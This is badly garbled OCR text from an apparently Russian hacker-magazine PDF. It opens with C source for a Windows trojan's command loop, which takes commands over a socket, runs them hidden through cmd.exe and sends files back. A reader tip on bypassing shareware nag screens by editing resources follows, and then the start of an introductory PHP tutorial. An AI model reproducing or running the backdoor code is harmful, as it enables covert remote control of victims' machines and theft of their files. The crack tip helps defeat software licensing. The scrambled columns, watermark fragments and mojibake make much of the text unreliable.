книги хакеры / журнал хакер / 048_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Листинг ComandLoop’а
char type[2], buf[126]; |
|
|
|
|||
while(true){ |
|
|
|
|
||
SOCKET hack_Sock = accept(listet_Sock,0,0); |
|
|
||||
while(true){ |
|
|
|
|
||
int i = recv(hack_Sock, type, 2, 0); |
|
|
||||
recv(hack_Sock, buf, 126, |
0); |
|
|
|||
if |
((i== SOCKET_ERROR)||(i == 0)) break; |
|
|
|||
if |
|
|
||||
(type[0] == ‘m’) |
MessageBox(0,buf,»Hacked =)»,0); |
|
|
|||
|
|
|
||||
else if (type[0] == ‘e’) { |
|
|
|
|||
|
char buf_ |
|
= «/c «; |
|
|
|
|
command[129] |
|
|
|||
|
strcat(buf_ |
|
|
|
|
|
|
command,buf); |
|
|
|||
|
ShellExecuteA(NULL, «open», |
|
|
|||
}else if (type[0] == ‘f’) { |
«cmd.exe», buf_command, NULL, SW_HIDE); |
|||||
|
|
|
||||
CreateFile(buf,GENERIC_ |
HANDLE |
hFile |
= |
|||
|
|
|
||||
|
|
|
READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_AT |
|||
TRIBUTE_NORMAL,NULL); |
|
|
|
|||
if (hFile != INVALID_HANDLE_VALUE){ |
|
|
||||
|
DWORD dwBytesRead; |
|
|
|
||
|
char buff[4096]; |
|
|
|
|
|
|
do if |
(ReadFile(hFile, buff, 4096, &dwBytesRead, |
NULL)) |
|||
|
|
|
||||
send(hack_Sock,buff,4096,0); |
|
|
|
|||
|
while (dwBytesRead == 4096); |
|
|
|||
} |
break; |
|
|
|
|
|
|
|
|
|
|
|
|
CloseHandle(hFile); |
|
|
|
|||
} |
|
|
|
|
|
|
} |
|
|
|
|
|
|
shutdown(hack_Sock,1); |
|
|
|
|||
closesocket(hack_Sock); |
|
|
|
|||
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||
|
|
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Break |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
Òåìà |
написания |
|
|
|
|
|
|
|
|
w |
p |
|
|
|
|
|
|
|
o |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
g |
.c |
|
|||||||
|
|
|
|
|
трояна под |
windows, êàê è ïîä |
любую другую операционку, |
. |
df |
|
|
n |
|
|
||||||||||
обширна, и мы |
|
|
|
|
|
очень |
|
|
|
|
|
|
||||||||||||
узнать |
|
|
рассмотрели лишь ма-а-аленькую ее часть. Если тебе |
интересно |
|
|
|
|
|
|
||||||||||||||
о троянах подробнее, |
например, о стелс-технологиях и |
|
|
|
|
|
|
|
||||||||||||||||
хитрых |
функций, пиши мне, |
об осуществлении |
|
|
|
|
|
|
||||||||||||||||
трояна |
и я постараюсь помочь с |
инфой. Полные исходники |
|
|
|
|
|
|
|
|||||||||||||||
è |
клиента с |
проектом для VC++ .NET ты |
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
можешь |
скачать с |
|
сайта |
|
|
|
|
|
|
|
|||||||||||
www.xakep.ru. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
Íà |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
этом все. Удачного компилирования. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Tips&Tricks
В статье CRACKING: шаг второй (¹45, стр. 40) рассказывается об удалении nag-окна на примере Mail Them Pro. Так вот, этот совет для тех, кто не хочет возиться с дизассемблерами и отладчиками. Берем любой редактор ресурсов (Restorator, ResHacker), открываем в нем Mail Them Pro. В разделе RCData находим форму nag-окна (TREGFORM) и после строки OnCreate = FormCreate добавляем событие OnPaint = BitBtn1Click, т.е. теперь программа будет сама "нажимать" кнопочку "I Agree". Объясняю: посмотри ниже на событие OnClik кнопки BitBtn1 ("I Agree"). При прорисовке формы выполняется код, который выполняется при нажатии на кнопку "I Agree". А вот что можно сделать с nag-окнами, на которых некоторое время кнопки являются не активными, что вынуждает тебя ждать. Рассмотрим на примере того же Restorator'а. Дела-
ем так: открываем его в редакторе, находим форму TENTERREGFOR и добавляем на ней кнопку с параметром Cancel = True (можно просто скопировать кнопку BCancel, изменив значение параметра Left (расположение кнопки относительно левого края формы) и ее имя BCancel). Теперь при запуске программы мы можем закрыть nag-окно, нажав на созданную нами кнопку, не дожидаясь активизирования "стандартных" кнопок.
Данные методы могут использоваться и для других программ, написанных на Delphi или C++ Builder.
Sinicin ivashkin@vsmpo.ru
Хочешь увидеть свои советы в журнале? Присылай их на адрес Sklyarov@real.xakep.ru. Ведущий рубрики Tips&Tricks Иван Скляров.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
P |
|
|
|
|
|
|
NOW! |
o |
Кодинг |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
to |
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
o |
m |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
df |
|
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
PHP: |
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
PHP: ОСНОВЫ ОСНОВ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
Никита «Nikitos» Кислицин |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
(nikitoz@real.xakep.ru) |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
основы основ |
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
есть сайт?» Кто-то, услышав в свой |
адрес подобный вопрос, ответит |
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
«Ó òåáÿ |
на одинокую html-страницу, на |
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
«нафиг надо?» Кто-то |
äàñò |
ëèíê |
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
словами |
|
|
|
|
|
. И только ты |
||||||||||
|
|
|
|
|
|
|
|
|
|
|
которой уже не первый год постится |
убогое «добро пожаловать» |
|
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
«Я содержу восемь новостных |
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
через пару лет сможешь гордо |
сказать: |
ß |
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. Круто? |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
порталов |
суммарной посещаемостью |
миллион человек в сутки» |
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
сайт статичным, |
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. Íî html òóò òåáå |
не помощник - глупо делать |
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
òîæå |
òàê |
думаю |
|
|
|
|
|
|
|
|
|
|
. |
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. Ìû |
пойдем более прогрессивным |
путем |
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
обновляя его по ftp :) |
|
|
|
|
|
|
.xakep.ru) |
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Никита «Nikitos» Кислицин |
(nikitoz@real |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Давай рассмотрим |
взаимодействие |
веб-сервера |
и клиента |
â |
тривиальном |
||||||||||||||
|
|
|
, например IE, отправляет |
||||||||||||||||
|
|
статичного html’а. |
|
||||||||||||||||
случае - при использовании |
Клиент |
|
|
операцию |
- |
â |
|||||||||||||
|
|
|
|
|
некоторую |
||||||||||||||
серверу |
запрос. |
|
Òîò, |
читая его, выполняет |
|
|
|||||||||||||
|
ранее файл и передает его |
||||||||||||||||||
|
|
|
случае тупо читает закачанный |
||||||||||||||||
рассматриваемом |
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
, но вот проблемка - очень уж |
||||||||||||
|
|
|
|
|
|
|
|
|
|
, здорово |
|
|
|
|
|
|
|
|
|
содержимое |
браузеру. Все это, конечно |
обновить сайт |
- особенно если |
||||||||||||||||
|
|
|
|
|
-файлы, |
чтобы |
|||||||||||||
геморно |
ручками |
править хтмл |
|
|
|
|
|
|
|
|
|
â 1994 |
|||||||
|
|
|
. Äëÿ |
решения именно этой проблемы был разработан |
|
|
|
||||||||||||
сайтов этих много |
|
|
|
|
|
|
, |
впоследствии избавившая web- |
|||||||||||
ãîäó ÿçûê PHP - |
замечательная |
технология |
|
|
|
работы. |
|
|
|
||||||||||
разработчиков |
от целой кучи однообразной механической |
|
|
|
|||||||||||||||
|
|
html-файла на |
|||||||||||||||||
|
|
|
|
заключается в том, что как такового |
|||||||||||||||
Весь смак этой технологии |
|
|
поток |
||||||||||||||||
|
|
правило, |
по которому формируется |
||||||||||||||||
сервере нет, есть лишь некоторое |
. |
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
. Эти правила и называются скриптами |
(script - «сценарий») |
|
||||||||||||||
вывода браузеру |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Концепции |
PHP- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
программирования |
|
|
|
в машинные коды |
||||||||||||||||||||||||||||||
PHP - интерпретируемый |
язык, т.е. сценарии |
транслируются |
||||||||||||||||||||||||||||||||
в зависимости |
îò |
|||||||||||||||||||||||||||||||||
|
|
|
. Файлы с php-кодом могут, |
|||||||||||||||||||||||||||||||
каждый раз при их выполнении |
|
|
|
|
|
|
|
|
|
. Некоторые админы даже |
||||||||||||||||||||||||
настроек web-сервера |
, |
иметь различные расширения |
|
|
|
|
|
|
|
|
|
|
, |
|||||||||||||||||||||
|
|
|
|
|
|
-скриптам |
несвойственные языку расширения типа «htnl» |
|||||||||||||||||||||||||||
практикуют |
давать php |
|
|
|
âñå, |
чтобы |
äàòü |
|
|
|
|
-хакеру как можно меньше |
||||||||||||||||||||||
«www» è ò.ä. |
|
- |
делают |
|
брату |
|
|
|
|
увидев |
скрипт |
|||||||||||||||||||||||
|
Íó, îíî |
|
и верно, |
я бы, чес слово, |
||||||||||||||||||||||||||||||
|
|
î |
|
|
|
|
. |
|
|
|
|
|||||||||||||||||||||||
информации |
скрипте |
|
|
|
|
, |
на каком он языке написан: то ли perl, то ли |
|||||||||||||||||||||||||||
index.htnl, не сразу бы |
догадался |
Но обычно |
все же скриптам даются вполне |
|||||||||||||||||||||||||||||||
php, а может и вовсе python |
:). |
|||||||||||||||||||||||||||||||||
|
|
|
|
, .phtml è ò.ï. |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
определенные расширения |
- .php, .php3/4 |
|
|
|
|
|
|
|
|
|
|
, |
ëèáî |
- |
ýòî |
|||||||||||||||||||
PHP может |
быть установлен |
либо как модуль для |
web-сервера |
|
|
|
|
|
|
|||||||||||||||||||||||||
|
ðåæå - |
â |
âèäå |
самостоятельного |
|
интерпретатора CGI (Common |
||||||||||||||||||||||||||||
практикуется |
|
|
|
|
|
|
некоторые нюансы |
|||||||||||||||||||||||||||
|
|
|
|
|
использовании CGI версии возникают |
|
||||||||||||||||||||||||||||
Gateway Interface). Ïðè |
|
|
сценария, но есть |
|||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
, несколько снижается скорость выполнения |
|
|
|
|
различных |
||||||||||||||||||||||||
с безопасностью |
|
|
|
|
|
|
|
|
создавать php-процессы с правами |
|||||||||||||||||||||||||
и плюс - существует возможность |
|
|
|
|
|
|||||||||||||||||||||||||||||
|
|
æå |
модуля вебсервера |
|
все процессы |
|||||||||||||||||||||||||||||
|
|
|
|
. |
Ïðè |
|
использовании |
|
||||||||||||||||||||||||||
пользователей |
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
, nobody. |
|
|
|
|
|
|
||||||||||
запускаются с правами самого вебсервера |
как правило |
|
|
|
|
использование |
||||||||||||||||||||||||||||
|
|
|
- допускается |
|
||||||||||||||||||||||||||||||
PHP-код всегда |
начинается |
ñî |
строки <?php |
|
|
|||||||||||||||||||||||||||||
|
|
|
?>. Следует |
|||||||||||||||||||||||||||||||
|
|
|
|
, |
|
|
|
|
|
|
, |
тегом |
||||||||||||||||||||||
упрощенной записи |
- |
|
|
|
|
|
|
|
|
|
соответственно |
|
|
|
|
-документа: |
||||||||||||||||||
|
<?, заканчивается |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||
|
|
|
|
|
-код можно вставлять в произвольном |
месте html |
|
|
|
|
|
|||||||||||||||||||||||
, ÷òî PHP |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. Как сказал кто- |
||||||||||||||
заметить |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
, где угодно |
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
, в общем |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
, так и в середине |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
как в самом его начале |
|
|
|
|
|
|
|
|
|
|
лишь там, где он действительно |
|||||||||||||||||||||||
то из разработчиков |
языка: «PHP используется |
|||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
людей: |
|||||||||||||||||||||
|
|
|
|
ãíåâ |
перловщиков |
и просто недальновидных |
||||||||||||||||||||||||||||
|
|
. |
|
Предвижу |
|
|
|
|||||||||||||||||||||||||||
необходим» |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
, конечно |
же, правы |
||||||||||
«Мешать код с дизайном |
- тупость!» - воскликнут они и будут |
|
|
|
|
|
|
удобная |
||||||||||||||||||||||||||
|
|
|
|
|
не заставляет - это всего лишь очень |
|
||||||||||||||||||||||||||||
:). Но ведь делать это тебя никто |
|
|
|
|||||||||||||||||||||||||||||||
. Â php |
|
|
|
|
|
|
|
|
|
|
, |
которая при |
||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
есть функция include() |
|
|
|
|
|
||||||||||||||
для небольших |
сайтов возможность |
|
|
|
|
сложнейшие по своей структуре |
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
грамотном |
использовании позволяет создавать |
|
|
|
|
вернемся в будущих |
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
-кодом. К этому мы еще |
|||||||||||||||||||||
|
|
|
|
|
|
|
|
|
-òåãè ñ ïõï |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
проекты, не мешая хтмл |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
на модульную установку |
|||||||||||
материалах |
|
|
|
|
|
примерах я буду ориентироваться |
||||||||||||||||||||||||||||
Во всех последующих |
|
|
|
|
ты наткнулся на |
|||||||||||||||||||||||||||||
|
она в 99.99% случаях. Однако даже если |
|||||||||||||||||||||||||||||||||
PHP - ибо встречается |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
, |
тебе будет достаточно |
||||||||||||||||||||
сервер, |
где php стоит только как CGI интерпретатор |
|
|
|
|
|
|
, и сценарий |
||||||||||||||||||||||||||
поменять первую строку сценария на что-нибудь |
òèïà #!/usr/bin/php |
|
|
|
|
|||||||||||||||||||||||||||||
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
заработает |
|
|
|
|
|
|
|
|
|
|
|
|
|
основных функций PHP. |
|
|
|
|
|
|
|
|
||||||||||||
А теперь перейдем к рассмотрению |
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Основные функции |
|
|
|
|
из html-формы (как |
|
|||||||||||||||||||||||||||||||||
В старых |
|
версиях php переданные |
|
скрипту переменные |
|
|
|
||||||||||||||||||||||||||||||||
|
|
|
|
|
которые |
|
имели |
|
|||||||||||||||||||||||||||||||
|
|
|
сценарии |
с именами, |
|
|
|||||||||||||||||||||||||||||||||
- |
через |
|
url) |
доступны |
â |
|
|
|
|||||||||||||||||||||||||||||||
вариант |
|
|
|
|
|
|
|
|
|
то обратиться к |
|
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
. |
Ò.å. åñëè áûëî ïîëå name, |
|
||||||||||||||||||||||||||
соответствующие |
поля в форме |
|
|
|
|
|
|
|
|
|
|
|
|
|
$name. |
В более поздних |
|
||||||||||||||||||||||
|
данным можно через переменную |
|
|||||||||||||||||||||||||||||||||||||
введенным |
â íåãî |
. Â |
|
дефолтной настройке |
|
||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
версиях, начиная с |
4.1, |
ситуация несколько |
изменилась |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||
PHP теперь не назначает автоматически |
переменные каждому из полученных |
||||||||||||||||||||||||||||||||||||||
|
â |
ассоциативные массивы: |
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
полей, а помещает |
âñå |
полученные |
данные |
|
|
|
|
|
|
||||||||||||||||||||||||||||||
|
|
|
|
методом GET |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
$_GET - содержит |
данные, полученные |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||
|
|
методом POST |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||
$_POST - содержит данные, полученные |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
$_COOKIE |
- содержит данные из cookies |
|
|
|
из всех возможных источников - |
||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
$_REQUEST - содержит данные, полученные |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||
GET, POST è cookies. |
|
|
, |
÷òî |
массив |
- |
ýòî, |
|
|
|
|
|
|
|
, |
множество |
|||||||||||||||||||||||
|
|
|
|
|
, |
|
|
|
|
в общем случае |
|
|
|
|
|
|
|
||||||||||||||||||||||
Следует, |
|
|
|
пояснить |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
уникальный |
||||||||||||
видимо |
|
, |
каждый из которых имеет свой собственный |
||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
некоторых |
элементов |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
себе в виде шкафа с |
||||||||||||||||
|
. |
Визуально массив можно представить |
|
||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ê |
||||||||||||||||||||||||
идентификатор |
на дверце каждого из которых написан номер. |
Обратиться |
|||||||||||||||||||||||||||||||||||||
|
|
|
|
, |
|
||||||||||||||||||||||||||||||||||
кучей ящичков |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
и название шкафа. |
|
||||||||||||
содержимому |
какой-то ячейки можно, зная номер дверцы |
|
|
|
|
|
íà |
åãî |
|||||||||||||||||||||||||||||||
, |
существует |
некий |
|
массив |
|
$array. |
Тогда ссылаться |
|
|||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
Предположим |
|
|
путем |
указания |
идентификатора |
элемента |
â |
квадратных |
|||||||||||||||||||||||||||||||
элементы |
можно |
|
|
|
с нуля, т.е. на первый |
||||||||||||||||||||||||||||||||||
|
|
|
, что нумерация элементов начинается |
|
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||
|
, учитывая |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. Существуют также |
||||||||||||||
скобках |
|
|
|
|
|
|
|
|
|
$array[0], |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
элемент |
укажет переменная |
на второй - $array[1] |
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
элементов которых выступает не |
||||||||||||||||||||||||||
|
|
|
массивы, |
|
идентификатором |
|
|||||||||||||||||||||||||||||||||
ассоциативные |
|
|
|
|
|
|
|
|
|
вернемся |
|
ê |
html- |
||||||||||||||||||||||||||
|
|
|
|
|
â |
алфавите |
|
[a-zA-Z0-9]. Теперь |
|
||||||||||||||||||||||||||||||
цифра, |
|
à |
какое-то слово |
|
|
массив |
|||||||||||||||||||||||||||||||||
|
|
некоторых |
данных |
сразу |
создается |
|
|
||||||||||||||||||||||||||||||||
формам. |
После |
|
получения |
|
данные. |
||||||||||||||||||||||||||||||||||
|
|
|
|
|
служат |
введенные |
|
пользователем |
|
||||||||||||||||||||||||||||||
|
|
|
, |
элементами |
|
которого |
|
|
|
|
|
èìÿ |
|||||||||||||||||||||||||||
$_REQUEST |
ê |
|
íèì |
можно, |
указывая |
â |
|
качестве |
|
идентификаторов |
|||||||||||||||||||||||||||||
Обращаться |
|
|
|
|
|
||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
-форме. |
|
|
|
|
|
|
, если пользователь отправил |
||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
Например |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
соответствующего |
ïîëÿ â html |
|
|
|
|
|
|
|
обратиться |
к содержимому этих полей |
|||||||||||||||||||||||||||||
форму с двумя полями: name и email, |
|
|
|
|
è |
$_REQUEST[email] |
|||||||||||||||||||||||||||||||||
можно |
|
|
через |
|
переменные |
|
|
|
$_REQUEST[name] |
|
|
|
|||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
соответственно |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
целое число |
|
- integer, вещественное |
||||||||||||||||||||
В PHP есть четыре основных типа данных: |
|
||||||||||||||||||||||||||||||||||||||
|
|
|
. |
|
|
|
|
|
|
, |
ïî |
||||||||||||||||||||||||||||
число |
|
- |
|
|
, |
строка |
|
- |
string |
|
|
è |
булевский |
òèï |
- |
|
boolean |
|
|
TRUE |
èëè |
||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
значения |
||||||||||||||
|
double |
|
|
|
|
|
|
|
|
|
|
только |
äâà |
логических |
|||||||||||||||||||||||||
|
|
|
|
, |
может принимать |
|
|
|
|
|
|
|
|
- |
îí |
||||||||||||||||||||||||
определению |
|
|
|
|
|
|
|
|
|
|
|
|
случаев явно указывать не требуется |
||||||||||||||||||||||||||
FALSE. |
Тип данных в большинстве |
|
|
||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
. |
|
Так, $a = 1 - это целый |
|||||||||||||||||||||||||||
определяется в |
зависимости от значения |
переменной |
|
|
|
|
|
. |
К строкам |
||||||||||||||||||||||||||||||
«Hey, nigga» |
|
|
|
|
|
||||||||||||||||||||||||||||||||||
òèï, $a = 0.32 |
- |
|
|
|
|
|
|
, |
|
à $a = |
|
- строковой |
числам. В |
||||||||||||||||||||||||||
вещественный |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
применимы все |
|
|
|
|
, |
применимые к целым и действительным |
|
|
|
|
|
|
|||||||||||||||||||||||||||
операции |
|
|
|
|
, делить |
и умножать строку с действительным |
|||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
, вычитать |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
PHP можно складывать |
|
|
|
|
|
|
|
|
|
